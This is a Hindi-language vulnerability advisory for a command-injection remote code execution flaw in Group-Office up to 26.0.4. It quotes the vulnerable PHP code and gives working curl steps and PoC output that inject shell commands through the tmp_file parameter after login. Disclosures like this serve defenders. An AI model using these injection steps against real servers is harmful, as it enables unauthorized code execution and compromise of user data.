
RCE - टीएनईएफ अटैचमेंट हैंडलर के माध्यम से कमांड इंजेक्शन
CVSS 4.0 वेक्टर :
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Group-Office में एक गंभीर रिमोट कोड निष्पादन (RCE) भेद्यता की पहचान की गई थी। एंडपॉइंट email/message/tnefAttachmentFromTempFile उपयोगकर्ता-नियंत्रित पैरामीटर tmp_file को सीधे exec() कॉल में जोड़ता है। tmp_file में शेल मेटाकैरेक्टर इंजेक्ट करके, एक प्रमाणित हमलावर सर्वर पर मनमाने सिस्टम कमांड निष्पादित कर सकता है।
| उत्पाद | प्रभावित संस्करण |
|---|---|
| Group-Office | ≤ 26.0.4 |
tmp_file पैरामीटर HTTP अनुरोध से लिया जाता है और बिना एस्केपिंग या सत्यापन के एक शेल कमांड बनाने के लिए उपयोग किया जाता है। इसके परिणामस्वरूप tnef निष्कर्षण कमांड में कमांड इंजेक्शन होता है, जो वेब सर्वर के विशेषाधिकारों के साथ चलता है।
भेद्य कोड (www/modules/email/controller/MessageController.php):
protected function actionTnefAttachmentFromTempFile(array $params)
{
$tmpFolder = \GO\Base\Fs\Folder::tempFolder(uniqid(time()));
$tmpFile = new \GO\Base\Fs\File(GO::config()->tmpdir.$params['tmp_file']);
chdir($tmpFolder->path());
exec(GO::config()->cmd_tnef.' -C '.$tmpFolder->path().' '.$tmpFile->path(), $output, $retVar);
if($retVar!=0)
throw new \Exception("TNEF extraction failed: ".implode("\n", $output));
exec(GO::config()->cmd_zip.' -r "winmail.zip" *', $output, $retVar);
if($retVar!=0)
throw new \Exception("ZIP compression failed: ".implode("\n", $output));
$zipFile = $tmpFolder->child('winmail.zip');
\GO\Base\Util\Http::outputDownloadHeaders($zipFile,false,true);
$zipFile->output();
$tmpFolder->delete();
}
| चरण | विवरण |
|---|---|
| स्रोत | index.php?r=email/message/tnefAttachmentFromTempFile&tmp_file=... में tmp_file क्वेरी पैरामीटर |
| प्रसार | new \GO\Base\Fs\File(GO::config()->tmpdir.$params['tmp_file']) |
| सिंक | exec(GO::config()->cmd_tnef.' -C '.$tmpFolder->path().' '.$tmpFile->path(), ...) |
चूँकि tmp_file को शेल कमांड में जोड़ा जाता है, ;, &, बैकटिक्स, या $() जैसे मेटाकैरेक्टर हमलावर को मनमाने कमांड जोड़ने की अनुमति देते हैं।
प्रमाणीकरण आवश्यकता: हाँ।
MessageControllerएकsecurity_tokenCSRF जाँच लागू करता है, इसलिए एक वैध सत्र + टोकन आवश्यक हैं।
PoC स्क्रिप्ट लॉगिन करती है, security_token प्राप्त करती है, tmp_file के माध्यम से एक पेलोड इंजेक्ट करती है, और ZIP प्रतिक्रिया से rce.txt पढ़कर निष्पादन की पुष्टि करती है।
python3 poc.py
उदाहरण आउटपुट:
➜ ~ python3 poc.py
[*] Target: http://xx.xx.xxx.xxx:9090
[*] Login status: 200
[*] Login ok, security_token received
[*] Exploit URL: http://xx.xx.xxx.xxx:9090/index.php?r=email/message/tnefAttachmentFromTempFile
[*] tmp_file payload: dummy.dat;id > /tmp/id;id > rce.txt;echo RCE_POC_451a735c >> rce.txt;#
[*] Response status: 200
[+] RCE Confirmed
[+] Command output (id):
uid=33(www-data) gid=33(www-data) groups=33(www-data)
चरण 1: लॉगिन
curl -c cookies.txt -b cookies.txt "http://TARGET:PORT/index.php" \
--data-urlencode "r=core/auth/login" \
--data-urlencode "username=YOUR_USERNAME" \
--data-urlencode "password=YOUR_PASSWORD" \
-H "X-Requested-With: XMLHttpRequest"
प्रतिक्रिया:
{
"success": true,
"groupoffice_version": "26.0.4",
"user_id": 2,
"security_token": "XXXXXXX",
"sid": "XXXXXXXXXXX"
}
चरण 2: RCE ट्रिगर करें
curl -G "http://TARGET:PORT/index.php" \
-b cookies.txt \
--data-urlencode "r=email/message/tnefAttachmentFromTempFile" \
--data-urlencode "security_token=YOUR_TOKEN" \
--data-urlencode "tmp_file=dummy.dat;id > rce.txt || true;#" \
-o command_output.zip
परिणाम:
➜ unzip command_output.zip
Archive: command_output.zip
inflating: rce.txt
➜ cat rce.txt
uid=33(www-data) gid=33(www-data) groups=33(www-data)
| श्रेणी | गंभीरता | विवरण |
|---|---|---|
| गोपनीयता | उच्च | मनमाना कमांड निष्पादन संवेदनशील फ़ाइलों को पढ़ने की अनुमति देता है। |
| अखंडता | उच्च | हमलावर सर्वर फ़ाइलों को संशोधित या हटा सकता है। |
| उपलब्धता | उच्च | हमलावर सेवाओं को बाधित कर सकता है या महत्वपूर्ण डेटा हटा सकता है। |